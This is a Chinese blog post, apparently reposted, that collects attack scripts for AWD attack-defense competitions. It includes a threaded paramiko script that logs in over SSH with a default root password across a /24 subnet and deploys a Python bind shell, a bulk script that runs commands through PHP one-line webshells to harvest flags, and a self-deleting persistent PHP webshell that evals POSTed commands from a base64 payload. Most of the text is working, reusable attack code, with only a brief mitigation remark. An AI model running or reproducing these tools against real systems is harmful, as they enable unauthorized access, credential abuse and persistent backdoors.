AWD攻防工具腳本匯總(一)


最近工作很忙 今天抽空准備下AWD比賽得攻防工具和腳本

 

以下只是常用 希望下周不被吊錘~~ 后續整理后想抽空寫成一個攻擊框架匯總放github~~

 

這里從各種情景和需求中去總結工具和腳本的使用

 

 

 

情景一 默認SSH密碼批量反彈shell

官方在給出服務器密碼時,很有可能是默認的,需要趕快修改自己的密碼並嘗試能不能登陸別人的靶機

#-*- coding:utf-8 -*-
import paramiko

ip = '192.168.1.137'
port = '22'
username = 'root'
passwd = 'toor'
# ssh 用戶名 密碼 登陸
def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):
    port = int(port)
    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()
    if not result :
        print("無結果!")
        result = stderr.read()
    ssh.close()
    
    return result.decode()
    
a = ssh_base_pwd(ip,port,username,passwd)
print(a)

 

執行命令可以是寫webshell或着直接查看flag 並返回提交

這里獻上自己寫的批量ssh登錄並反彈python shell

 

 

 

#-*- coding:utf-8 -*-
import paramiko
import threading
import queue
import time
#反彈shell python

q=queue.Queue()
#lock = threading.Lock()

# ssh 用戶名 密碼 登陸
def ssh_base_pwd(ip,port,username,passwd,cmd):
    port = int(port)
    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    ssh.connect(hostname=ip, port=port, username=username, password=passwd)

    stdin,stdout,stderr = ssh.exec_command(cmd)

    result = stdout.read()
    if not result :
        result = stderr.read()
    ssh.close()
    
    return result.decode()

def main(x):
    shell = '''
    #服務器端
    import socket
    import os
    s=socket.socket()   #創建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.bind(('0.0.0.0',1234))    #綁定地址和端口#0.0.0.0接收任意客戶端ip連接
    s.listen(5)                 #調用listen方法開始監聽端口,傳入的參數為等待連接的最大數量
    con,addr=s.accept()     #接受一個客戶端的連接
    #print(con,addr)

    for i in range(10):
        cmd=con.recv(1024)
        print(cmd)
        command=cmd.decode()
        if command.startswith('cd'):
            os.chdir(command[2:].strip())   #切換路徑
            result=os.getcwd()      #顯示路徑
        else:
            result=os.popen(command).read()
        if result:
            con.send(result.encode())
        else:
            con.send(b'OK!')
    '''
    cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'
    port = '22'
    username = 'root'
    passwd = 'toor'
    
    ip = '192.168.1.{}'.format(x)
    q.put(ip.strip(),block=True, timeout=None)
    ip_demo=q.get()
    #判斷是否成功
    try:
        #lock.acquire()
        res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
        if res:
            print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
            #lock.release()
            ssh_base_pwd(ip_demo,port,username,passwd,cmd)
    except:
        print("[ - ]Ip: %s" % ip_demo +" is Failed")
    if x > 255:
        print("Finshed!!!!!!!!")
    q.task_done()
    
#線程隊列部分
th=[]
th_num=255
for x in range(th_num):
        t=threading.Thread(target=main,args=(x,))
        th.append(t)
for x in range(th_num):
        th[x].start()
for x in range(th_num):
        th[x].join()
        

#q.join()所有任務完成  

 

情景二 dump源碼

原因不說了 

scp -r -P Port remote_username@remote_ip:remote_folder local_file

 

情景三 利用shell批量getflag

在有批量shell后 需要連接shell 批量得到flag並提交

#!/usr/bin/python
#coding=utf-8
import sys,requests,base64,time

#利用一句話木馬得到flag

#加載一句話地址的文件
def shell_list(filepath):
    #格式 http://192.168.174.128/test.php?x=
    #返回列表
    try : 
        with open(filepath,encoding='utf-8') as f:
            data = f.readlines()
            return data
    except : 
        print("File"+filepath+" Not Found!") 
        sys.exit()
    
def getflag(filepath):
    file = './flag'+str(time.time())[-5:]+'.txt'
    #加載shell地址
    list = shell_list(filepath)
    #訪問 執行查看flag命令  linux就是cat
    cmd = "type flag.txt"
    getflag_cmd ="echo system(\"%s\");"%cmd
    for url in list:
        url  = url.strip('\r\n') + getflag_cmd
        try:
            res = requests.get(url=url,timeout=5)
        except:
            print(url+"[ - ] request timeout [ - ]")
        if res.content:
            content = str(res.content,'utf-8')
            try : 
            #把得到的flag存到flag文件再批量提交
                with open(file,'a',encoding='utf-8') as f:
                    f.writelines(content+"\n")
            except : 
                 print("寫flag.txt文件失敗!!")
                 sys.exit()
    print("[+] getflag sucessed! flag文件:" +file)
    return file

#批量提交flag
def sentflag(filepath,url):
    filename = getflag(filepath)#返回存放flag的地址
    #讀取存放flag文件
    with open(filename,'r',encoding='utf-8') as f:
        flags = f.readlines()
        for flag in flags:
            links = url + flag.strip('\n')
            try : 
                res = requests.get(url=links,timeout=3)
                if res.status_code==200 :
                    print("[ + ] Send Flag  %s Success [ + ]") % flag
            except : 
                 print("[ - ] Send Flag Failed [ - ]")
                 sys.exit()
            
           
#第一個參數需要一個存放shell的地址,格式 http://192.168.174.128/test.php?x=    
#第二個參數需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx
filepath = './webshell.txt'
url = 'http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx'
sentflag(filepath,url)

 

 

情景四 批量利用一句話木馬種植不死馬

主要是用來權限維持

分享一個自己寫的不死馬:

 

<?php
 //qing@3389..
    error_reporting(0);
    set_time_limit(0);   //PHP腳本限制了執行時間,set_time_limit(0)設置一個腳本的執行時間為無限長
    ignore_user_abort(1);  //ignore_user_abort如果設置為 TRUE,則忽略與用戶的斷開,腳本將繼續運行。
    unlink(__FILE__);     //刪除自身

 $file = '.config.php';
 $code = base64_decode('PD9waHAgLy9lcnJvcl9yZXBvcnRpbmcoMCk7ICBpZihtZDUoJF9QT1NUWydwYXNzJ10pPT09JzU5Nzg5ODY1YzVhMTcyNzdmYmYxMWJjNjIzODI4OTYwJykgIEBldmFsKCRfUE9TVFsnY21kJ10pOyAgPz4=');
 while(true) {
     if(md5(file_get_contents($file))!==md5($code)) {
         file_put_contents($file, $code);
     }
     system('chmod 777 .config.php');
     touch(".config.php",mktime(20,15,1,11,28,2016));
     usleep(100);
 }
?>

 

 

 

 

 

 

附上批量訪問生成不死馬腳本:

 

 刪除config馬還是會一直生成 

 

 

順便提下不死馬的解決方式:

目前最有效的辦法就是重啟PHP服務器。

但在awd模式下,一般無權限,

可以通過不斷復寫shell.php來達到該木馬難以被使用的效果。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM